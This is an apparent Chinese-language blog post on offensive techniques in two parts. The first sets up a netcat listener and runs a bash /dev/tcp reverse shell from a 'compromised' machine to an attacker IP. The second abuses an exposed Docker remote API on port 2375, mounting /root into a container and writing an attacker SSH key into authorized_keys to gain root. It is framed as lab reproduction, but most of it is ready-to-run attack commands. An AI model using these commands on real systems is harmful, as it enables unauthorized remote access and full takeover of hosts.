Shell反弹 提权

shell反弹

2019/11/11 Chenxin

正常ssh连接与反弹shell连接说明
通过ssh xxx@xxxx,这就是正向连接。
而黑客不一样,黑客是通过各种奇怪的方式进入了系统内部,这台电脑可能是在内网里面,没有公开的IP地址,就跟家里的电脑一样,没有配置内网穿透,别人连接不到.这个时候,我们就要配置让内网的电脑主动连接我们部署在外网的电脑,这也就是反弹shell。

具体步骤
1.在黑客的电脑192.168.3.227上起一个监听的端口

yum install -y nc 
nc -l -vv -p 1234

2.在被入侵的电脑里面,起一个反弹shell,这里我们就采用最经典的方式

命令为:
bash -i >& /dev/tcp/192.168.3.227/1234 0>&1
# 这句命令的意思是将本服务器上的所有输入和输出重定向到目标服务器3.227上。
说明:/dev/tcp/192.168.3.227代表新建了一个tcp的连接.0>&1 表示将标准输入重定向到标准输出中 

就这样在我们外网的主机,就接受到了受害者传过来的shell,我们就可以进行任何的操作了。比如修改root密码.

通过docker不当配置,提权

2019/11/11 Chenxin

docker的远程访问
一般来说,我们的docker应该是都放在内网里面,不会轻易对外暴露,但其实docker是可以开启远程访问的,开启远程访问的好处就是可以随时操作,坏处就是处理不好也给了黑客可乘之机。下面先简单介绍一下如何开启远程访问docker.
这里我们采用的是18.06.0-ce版本。不同版本可能有不同的表现.

vim /etc/systemd/system/multi-user.target.wants/docker.service
# 添加
ExecStart=/usr/bin/dockerd --registry-mirror=https://rpwutt5n.mirror.aliyuncs.com -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375

以上简单的两句即可开启docker的远程访问,方便我们后面实验的一些复现。

任意文件写入(修改root公钥,达到提权目的)
很多的人理解docker的方式是将docker理解成一个虚拟机,认为在docker里面的任何事情对于宿主机没有危害,这其实是个误区.我们通过实验复现一下docker危险的地方.

1.进行真实主机提权
这个是docker很常见的功能,现在我们开启了远程访问docker的功能。我们看一下能够做什么.
1.1查看版本
docker -H tcp://192.168.31.215:2375 version
1.2远程运行容器
docker -H tcp://192.168.31.215:2375 run --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -v /root:/root -d mysql:5.6
我们挂载了一个root文件夹,因为docker很多时候是root权限,所以是可以往root文件夹写入文件.
1.3进入容器
docker -H tcp://192.168.31.215:2375 exec -it mysql /bin/bash
1.4写入公钥

# mkdir .ssh 
# cd .ssh 
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDm2HYqppANgDf9zxpulqLgoLfc....9GxkweW7NZq99pVUao/rHp5ONjZfwHJQ3kQsmm2phoR9USbicPvuk4AUuKw== axxxxxx@gamil.com" > authorized_keys

经过上面操作,我们往服务器真实主机写入了公钥,然后成功以root权限登录了系统。

posted @ 2020-04-21 13:18  ChanixChen  阅读(1434)  评论(0编辑  收藏  举报